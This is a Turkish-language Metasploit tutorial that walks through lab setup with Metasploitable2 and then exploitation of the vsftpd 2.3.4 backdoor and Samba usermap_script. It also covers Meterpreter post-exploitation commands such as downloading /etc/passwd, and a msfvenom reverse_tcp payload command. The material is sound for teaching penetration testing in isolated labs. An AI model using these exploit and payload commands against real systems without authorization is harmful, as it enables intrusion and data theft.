Bu rehberde sızma testlerinin en çok kullanılan açık kaynak çatısı olan Metasploit Framework'ü sıfırdan ele alıyoruz. Teoriyi, mimariyi ve msfconsole kullanımını anlattıktan sonra, bilerek zafiyetli bırakılmış Metasploitable2 sanal makinesi üzerinde adım adım bir istismar akışı yürüteceğiz. Hedef, komutları ezberlemek değil, "ne yaptığımızı neden yaptığımızı" anlamaktır.
Konuda Anlatılacaklar
- Metasploit nedir, mimarisi ve temel kavramlar (exploit, payload, module)
- Lab ortamı: Metasploitable2 ve Kali kurulumu, ağ ayarı
- msfconsole parametre/komut referansı
- Uygulamalı: keşiften oturuma (vsftpd ve Samba örnekleri)
- Meterpreter ve oturum sonrası (post-exploitation) temelleri
- İleri seviye: db_nmap, workspace, resource script
- Sonuç, kaynakça ve yasal uyarı
1. Metasploit Nedir, Ne İşe Yarar?
Metasploit Framework, Rapid7 tarafından geliştirilen, Ruby ile yazılmış açık kaynaklı bir sızma testi çatısıdır. İçinde binlerce hazır exploit (zafiyet istismar kodu), payload (hedefte çalışacak yük), auxiliary (tarama, brute force gibi yardımcı modüller), encoder ve post modülü barındırır. Temel mantığı modülerdir: bir zafiyeti istismar eden exploit modülünü seçersiniz, ona gönderilecek payload'ı belirlersiniz, hedef bilgilerini (RHOSTS gibi) girersiniz ve çalıştırırsınız.
Metasploit, bir pentest'in "exploitation" aşamasını standartlaştırır. Elle shellcode yazmak yerine, test edilmiş modülleri parametrelerle kullanırsınız. Bu, tekrarlanabilir ve raporlanabilir testler demektir.
2. Lab Ortamı: Metasploitable2
Metasploitable2, Rapid7'nin eğitim amacıyla yayınladığı, kasıtlı olarak zafiyetli Ubuntu tabanlı bir sanal makinedir. Asla halka açık (internete bakan) bir ağa koymayın; yalnızca izole bir Host-Only veya Internal Network üzerinde çalıştırın.
İki sanal makineyi (saldırgan Kali + hedef Metasploitable2) aynı host-only ağa alın. Kali tarafında kendi IP'nizi doğrulayın:
ip a
# veya
ip addr show eth0Metasploitable2'ye konsoldan giriş (varsayılan kullanıcı/parola msfadmin/msfadmin) yapıp IP'sini öğrenin:
ifconfig eth0Metasploit'i başlatmadan önce PostgreSQL veritabanını başlatıp framework'ü kurun (Kali'de genelde hazır gelir):
sudo systemctl start postgresql
sudo msfdb init
msfconsole3. Temel Komut ve Parametre Referansı
Aşağıda msfconsole içinde en sık kullanacağınız komutlar ve kısa açıklamaları yer alıyor.
search - Modül arama:
search vsftpduse - Modül seçme:
use exploit/unix/ftp/vsftpd_234_backdoorinfo - Seçili modülün ayrıntıları, seçenekleri ve referansları:
infoshow options - Doldurulması gereken parametreler (RHOSTS, RPORT vb.):
show optionsset / setg - Parametre atama (setg global atar, tüm modüllerde geçerli):
set RHOSTS 192.168.56.101
setg RHOSTS 192.168.56.101show payloads ve set PAYLOAD - Uyumlu yükleri listeleme ve seçme:
show payloads
set PAYLOAD cmd/unix/interactcheck - (destekleyen modüllerde) hedefin zafiyetli olup olmadığını istismar etmeden sınama:
checkexploit / run - Modülü çalıştırma:
exploit4. Uygulamalı: Keşiften Oturuma
Adım 1 - Port taraması. Önce hedefteki açık servisleri görelim. Metasploit içinden db_nmap ile tarama sonuçlarını doğrudan veritabanına yazabiliriz:
db_nmap -sV 192.168.56.101Adım 2 - vsftpd 2.3.4 arka kapısı. Bu sürümün dağıtım arşivine kötü niyetli bir backdoor eklenmiştir; kullanıcı adının sonuna "
" eklenince 6200 portunda bir komut kabuğu açılır. Metasploit bunu otomatikleştirir:use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
show options
exploitid
# beklenen çıktı: uid=0(root) gid=0(root)
whoamiAdım 3 - Samba usermap_script (Meterpreter'a giriş). Metasploitable2'deki Samba 3.x sürümünde komut enjeksiyonuna yol açan bir zafiyet bulunur:
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.101
set LHOST 192.168.56.102
exploit5. Meterpreter ve Oturum Sonrası Temelleri
Meterpreter, bellekte çalışan, güçlü bir Metasploit payload'ıdır. Bir Meterpreter oturumunda sık kullanılan komutlar:
sysinfo # işletim sistemi bilgisi
getuid # mevcut kullanıcı
pwd # çalışılan dizin
download /etc/passwd # dosya indirme
shell # etkileşimli sistem kabuğuna geçişOturumları yönetmek için exploit sonrası arka plana alıp listeleyebilirsiniz:
background
sessions -l
sessions -i 16. İleri Seviye İpuçları
Workspace kullanımı: Her hedef/iş için ayrı çalışma alanı açın, veriler karışmasın:
workspace -a musteri_lab
workspace musteri_labToplanan verileri sorgulama:
hosts
services
services -p 445Resource script: Tekrarlayan adımları otomatikleştirmek için komutları bir .rc dosyasına yazıp çalıştırabilirsiniz:
msfconsole -r taramam.rcmsfvenom: Framework ile birlikte gelen msfvenom, bağımsız payload üretir (yalnızca kendi lab'ınızda test için):
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f elf -o test.elfSonuç
Metasploit, modüler yapısı sayesinde keşif, istismar ve oturum sonrası aşamalarını tek çatı altında toplar. Metasploitable2 bu akışı güvenle öğrenmek için ideal bir sahadır. Önce search/use/show options/set/exploit döngüsünü oturtun, ardından Meterpreter ve post modülleriyle derinleşin. Gerçek testlerde her zaman kapsam ve yetki dahilinde çalışın.
Kaynakça
- Metasploit Resmi Dokümantasyonu - https://docs.metasploit.com
- Offensive Security, Metasploit Unleashed - https://www.offsec.com/metasploit-unleashed/
- Rapid7 Metasploitable2 - https://docs.rapid7.com/metasploit/metasploitable-2/
- msfvenom / msfconsole man sayfaları (man msfconsole)
- Nmap Resmi Belgeleri - https://nmap.org/book/man.html
Yasal Uyarı
Alıntı:Bu içerik yalnızca eğitim amaçlıdır. Anlatılan tüm teknikleri SADECE kendi sisteminizde veya yazılı izin aldığınız sistemlerde uygulayın. İzinsiz erişim ve sistemlere müdahale, Türk Ceza Kanunu'nun 243-245. maddeleri kapsamında suçtur. Metasploitable2'yi her zaman izole bir ağda çalıştırın.
Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).